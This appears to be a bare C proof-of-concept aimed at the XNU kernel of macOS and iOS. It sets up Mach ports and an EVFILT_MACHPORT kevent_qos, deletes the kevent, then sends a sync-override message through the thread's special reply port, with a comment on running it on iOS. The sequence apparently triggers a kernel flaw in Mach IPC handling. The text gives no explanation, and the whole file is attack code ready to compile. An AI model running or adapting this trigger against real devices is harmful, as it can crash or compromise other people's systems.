1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
|
#include <assert.h>
#include <errno.h>
#include <mach/mach.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/event.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
struct kevent_qos_s {
uint64_t ident; /* identifier for this event */
int16_t filter; /* filter for event */
uint16_t flags; /* general flags */
uint32_t qos; /* quality of service when servicing event */
uint64_t udata; /* opaque user data identifier */
uint32_t fflags; /* filter-specific flags */
uint32_t xflags; /* extra filter-specific flags */
int64_t data; /* filter-specific data */
uint64_t ext[4]; /* filter-specific extensions */
};
int kevent_qos(int kq, const struct kevent_qos_s *changelist, int nchanges,
struct kevent_qos_s *eventlist, int nevents, void *data_out, size_t *data_available,
unsigned int flags);
mach_port_t thread_get_special_reply_port();
// *TODO* Change `main` to any other name and call it on iOS.
int main() {
int kq = kqueue();
assert(kq > 0);
#define KNOTE_PORT_COUNT 2
kern_return_t kr = KERN_SUCCESS;
mach_port_t sync_port = MACH_PORT_NULL, knote_port[KNOTE_PORT_COUNT] = {MACH_PORT_NULL};
kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &sync_port);
assert(kr == KERN_SUCCESS);
for (size_t i = 0; i < KNOTE_PORT_COUNT; i++) {
kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &knote_port[i]);
assert(kr == KERN_SUCCESS);
}
typedef struct sync_knote_msg_local_s sync_knote_msg_local_t;
typedef struct sync_knote_msg_remote_s sync_knote_msg_remote_t;
#pragma pack(4)
struct sync_knote_msg_local_s {
mach_msg_header_t header;
mach_msg_body_t body;
mach_msg_port_descriptor_t port[KNOTE_PORT_COUNT];
uint64_t sequence;
};
#pragma pack(0)
#pragma pack(4)
struct sync_knote_msg_remote_s {
mach_msg_header_t header;
mach_msg_body_t body;
mach_msg_port_descriptor_t port[KNOTE_PORT_COUNT];
uint64_t sequence;
mach_msg_trailer_t trailer;
};
#pragma pack(0)
union {
sync_knote_msg_local_t local;
sync_knote_msg_remote_t remote;
} message;
sync_knote_msg_local_t *local = &message.local;
sync_knote_msg_remote_t *remote = &message.remote;
local->header = (mach_msg_header_t){
.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_MAKE_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX),
.msgh_remote_port = sync_port,
.msgh_local_port = MACH_PORT_NULL,
.msgh_voucher_port = MACH_PORT_NULL,
.msgh_size = sizeof(sync_knote_msg_local_t),
.msgh_id = 0x88888888,
};
local->body.msgh_descriptor_count = KNOTE_PORT_COUNT;
for (size_t i = 0; i < KNOTE_PORT_COUNT; i++) {
local->port[i] = (mach_msg_port_descriptor_t){
.name = knote_port[i],
.disposition = MACH_MSG_TYPE_MOVE_RECEIVE,
.type = MACH_MSG_PORT_DESCRIPTOR,
};
}
local->sequence = 0x6666666666666666;
kr = mach_msg(&local->header, MACH_SEND_MSG, sizeof(sync_knote_msg_local_t), 0, MACH_PORT_NULL,
0, MACH_PORT_NULL);
assert(kr == KERN_SUCCESS);
struct kevent_qos_s event = {
.ident = sync_port,
.filter = EVFILT_MACHPORT,
.flags = EV_ADD | EV_ENABLE | EV_DISPATCH,
.qos = 0xA00,
.udata = 42424242,
.fflags = MACH_RCV_MSG,
.xflags = 0x00,
.data = 0x00,
.ext = {(uint64_t)remote, sizeof(*remote), 0, 0},
};
struct kevent_qos_s out_events[1];
int nevents = kevent_qos(kq, &event, 1, out_events, 1, NULL, NULL, 0);
assert(nevents == 1 && remote->sequence == 0x6666666666666666);
int ret = 0;
struct kevent_qos_s del_event = {
.ident = sync_port,
.filter = EVFILT_MACHPORT,
.flags = EV_DELETE,
.qos = 0xA00,
.udata = 0x00,
.fflags = MACH_RCV_MSG,
.xflags = 0x00,
.data = 0x00,
.ext = {0, 0, 0, 0},
};
ret = kevent_qos(kq, &del_event, 1, NULL, 0, NULL, NULL, 0);
assert(ret == 0);
mach_port_t sr_port = thread_get_special_reply_port();
struct {
mach_msg_header_t header;
uint64_t sequence;
} sync_link_msg = {
.header =
{
.msgh_bits =
MACH_MSGH_BITS_SET(MACH_MSG_TYPE_MAKE_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE, 0, 0),
.msgh_remote_port = MACH_PORT_NULL,
.msgh_local_port = sr_port,
.msgh_voucher_port = MACH_PORT_NULL,
.msgh_size = sizeof(sync_link_msg),
.msgh_id = 0x86868686,
},
.sequence = 0x4242424242424242,
};
sync_link_msg.header.msgh_remote_port = remote->port[0].name;
kr = mach_msg(&(sync_link_msg.header), MACH_SEND_MSG | MACH_SEND_SYNC_OVERRIDE,
sizeof(sync_link_msg), 0, MACH_PORT_NULL, 0, MACH_PORT_NULL);
assert(kr == KERN_SUCCESS);
return 0;
}
|
